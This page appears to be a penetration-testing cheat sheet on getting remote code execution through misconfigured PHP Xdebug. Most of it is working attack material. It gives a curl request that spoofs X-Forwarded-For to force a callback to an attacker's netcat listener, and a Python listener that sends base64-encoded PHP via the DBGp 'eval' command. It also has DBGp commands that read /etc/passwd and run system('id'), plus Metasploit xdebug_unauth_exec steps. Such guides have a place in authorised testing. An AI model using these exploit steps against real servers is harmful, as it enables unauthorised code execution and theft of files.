Skip to content

Xdebug ​

Xdebug is a debugging extension for PHP. If misconfigured, it can allow remote code execution (RCE) via the DBGp protocol.

⚠️ Note: Xdebug typically listens on port 9000 (or 9003 for v3+). Ensure this port is reachable from the attacker machine.

📚 Resource ​

Common insecure configuration ​

ini
# xdebug < 2.5.5
xdebug.remote_connect_back = 1
xdebug.remote_enable = 1
ini
# xdebug = 3.x
xdebug.mode = debug
xdebug.discover_client_host = 1
xdebug.client_host = 1

How to exploit it ? ​

By default, the Xdebug expected a param :

http
http://vuln.site/?XDEBUG_SESSION_START=phpstrom

If this GET paramter is pass in the URL, the server create a following cookie :

bash
> Set-Cookie: XDEBUG_SESSION=phpstrom;

Listening for a Callback ​

Start a listener on your machine:

bash
nc -lvnp 4444

And send the request to the server :

bash
curl -v -H "X-FORWARDED-FOR: x.x.x.x" http://vuln.site/index.php?XDEBUG_SESSION_START=phpstrom

If you intercept the response, the exploit can begin!

Example response:

http
Listening on 0.0.0.0 4444
Connection received on x.x.x.x 35164
506<?xml version="1.0" encoding="iso-8859-1"?>
<init xmlns="urn:debugger_protocol_v1" xmlns:xdebug="https://xdebug.org/dbgp/xdebug" fileuri="file:///index.php" language="PHP" xdebug:language_version="7.4.3" protocol_version="1.0" appid="2842990" idekey="phpstrom"><engine version="2.9.2"><![CDATA[Xdebug]]></engine><author><![CDATA[Derick Rethans]]></author><url><![CDATA[https://xdebug.org]]></url><copyright><![CDATA[Copyright (c) 2002-2020 by Derick Rethans]]></copyright></init>

Exploit ​

This Python script allows you to interactively send payloads to the DBGp server, which is listening on port 4444. Launch the curl request and interact with the script.

python
#!/usr/bin/python3
import socket
import base64

ip_port = ('0.0.0.0', 4444)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
print(f"[+] Connection waiting on port: {ip_port}...")
conn, addr = sk.accept()
print(f"[+] Connection from {addr}")

while True:
    client_data = conn.recv(2048)
    data = input('>> ')
    encoded_data = base64.b64encode(data.encode())
    payload = f'eval -i 1 -- {encoded_data.decode()}\x00'

    print(client_data.decode())
    conn.sendall(payload.encode())

conn.close()

💡 Don’t forget to end your PHP lines with ;

In the code, you put a payload, and the script converts it into base64 and byte encoding.

Useful DBGp Commands ​

These commands can be used to forge payloads. For more details, check out the Xdebug documentation

bash
# read file
source -i $transaction_id -f fileURI
source -i 1 -f file:///etc/passwd\x00
source -i 1 -f php://filter/read=convert.base64-encode/resource=index.php\x00
bash
# execute code
eval -i transaction_id -- $DATA # $DATA = PHP code in base64
eval -i 1 -- c3lzdGVtKCJpZCIpOw==\x00
bash
# set property
property_set -n property_long_name -d $NUM -i $transaction_id -l $data_length -- $DATA
property_set -n $GLOBALS['cmd'] -d 1 -i 1 -l 2 -- bHM=
  • -n = variable name
  • -d = data type (1 = string)
  • -l = data length
  • -- {DATA} = Base64-encoded content

Alternatives if system(), passthru(), and similar functions are disabled ​

Use functions that do not require shell access, such as:

php
# Use function to display stdout without echo()
scandir('.')
file_get_contents('/path/to/resource')
file_put_contents('debug.php', 'scandir(".")')

msfconsole ​

bash
search xdebug
use exploit/unix/http/xdebug_unauth_exec

show options

set PATH /file.php
set RHSOSTS site.vuln
set LHOST public_ip
set LPORT 4444 # Or other like: 8008, 9001 ...
run

sessions -i $id